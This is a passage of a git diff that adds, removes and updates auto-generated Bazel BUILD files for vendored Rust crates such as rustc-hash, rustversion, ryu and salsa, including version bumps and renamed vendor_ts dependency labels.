-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "2.1.0",
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rustc-hash-2.1.1.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rustc-hash-2.1.1.bazel
new file mode 100644
index 000000000000..4fef93e46326
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rustc-hash-2.1.1.bazel
@@ -0,0 +1,87 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "rustc_hash",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "default",
+        "std",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=rustc-hash",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "2.1.1",
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rustc-stable-hash-0.1.1.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rustc-stable-hash-0.1.1.bazel
new file mode 100644
index 000000000000..82ce1ee93122
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rustc-stable-hash-0.1.1.bazel
@@ -0,0 +1,83 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "rustc_stable_hash",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=rustc-stable-hash",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.1.1",
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rustc_apfloat-0.2.1+llvm-462a31f5a5ab.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rustc_apfloat-0.2.1+llvm-462a31f5a5ab.bazel
index 37b394fcebad..00e80306ea45 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rustc_apfloat-0.2.1+llvm-462a31f5a5ab.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rustc_apfloat-0.2.1+llvm-462a31f5a5ab.bazel
@@ -82,9 +82,9 @@ rust_library(
     }),
     version = "0.2.1+llvm-462a31f5a5ab",
     deps = [
-        "@vendor__bitflags-1.3.2//:bitflags",
-        "@vendor__rustc_apfloat-0.2.1-llvm-462a31f5a5ab//:build_script_build",
-        "@vendor__smallvec-1.13.2//:smallvec",
+        "@vendor_ts__bitflags-1.3.2//:bitflags",
+        "@vendor_ts__rustc_apfloat-0.2.1-llvm-462a31f5a5ab//:build_script_build",
+        "@vendor_ts__smallvec-1.14.0//:smallvec",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rustversion-1.0.20.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rustversion-1.0.20.bazel
new file mode 100644
index 000000000000..dc9ff46207de
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rustversion-1.0.20.bazel
@@ -0,0 +1,142 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//cargo:defs.bzl", "cargo_build_script")
+load("@rules_rust//rust:defs.bzl", "rust_proc_macro")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_proc_macro(
+    name = "rustversion",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2018",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=rustversion",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "1.0.20",
+    deps = [
+        "@vendor_ts__rustversion-1.0.20//:build_script_build",
+    ],
+)
+
+cargo_build_script(
+    name = "_bs",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            "**/*.rs",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_name = "build_script_build",
+    crate_root = "build/build.rs",
+    data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    edition = "2018",
+    pkg_name = "rustversion",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=rustversion",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    version = "1.0.20",
+    visibility = ["//visibility:private"],
+)
+
+alias(
+    name = "build_script_build",
+    actual = ":_bs",
+    tags = ["manual"],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ryu-1.0.18.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ryu-1.0.18.bazel
deleted file mode 100644
index 95adbd009780..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ryu-1.0.18.bazel
+++ /dev/null
@@ -1,83 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ryu",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2018",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ryu",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "1.0.18",
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ryu-1.0.19.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ryu-1.0.19.bazel
new file mode 100644
index 000000000000..eb7d8b9c8f12
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ryu-1.0.19.bazel
@@ -0,0 +1,83 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ryu",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2018",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ryu",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "1.0.19",
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.salsa-0.19.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.salsa-0.19.0.bazel
new file mode 100644
index 000000000000..f732cb64f0fd
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.salsa-0.19.0.bazel
@@ -0,0 +1,107 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "salsa",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "default",
+        "macros",
+        "rayon",
+        "salsa_unstable",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    proc_macro_deps = [
+        "@vendor_ts__salsa-macros-0.19.0//:salsa_macros",
+    ],
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=salsa",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.19.0",
+    deps = [
+        "@vendor_ts__boxcar-0.2.11//:boxcar",
+        "@vendor_ts__crossbeam-queue-0.3.12//:crossbeam_queue",
+        "@vendor_ts__dashmap-6.1.0//:dashmap",
+        "@vendor_ts__hashbrown-0.15.2//:hashbrown",
+        "@vendor_ts__hashlink-0.10.0//:hashlink",
+        "@vendor_ts__indexmap-2.7.0//:indexmap",
+        "@vendor_ts__parking_lot-0.12.3//:parking_lot",
+        "@vendor_ts__portable-atomic-1.11.0//:portable_atomic",
+        "@vendor_ts__rayon-1.10.0//:rayon",
+        "@vendor_ts__rustc-hash-2.1.1//:rustc_hash",
+        "@vendor_ts__salsa-macro-rules-0.19.0//:salsa_macro_rules",
+        "@vendor_ts__smallvec-1.14.0//:smallvec",
+        "@vendor_ts__tracing-0.1.41//:tracing",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.salsa-macro-rules-0.19.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.salsa-macro-rules-0.19.0.bazel
new file mode 100644
index 000000000000..1f1b43e02bc5
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.salsa-macro-rules-0.19.0.bazel
@@ -0,0 +1,83 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "salsa_macro_rules",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=salsa-macro-rules",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
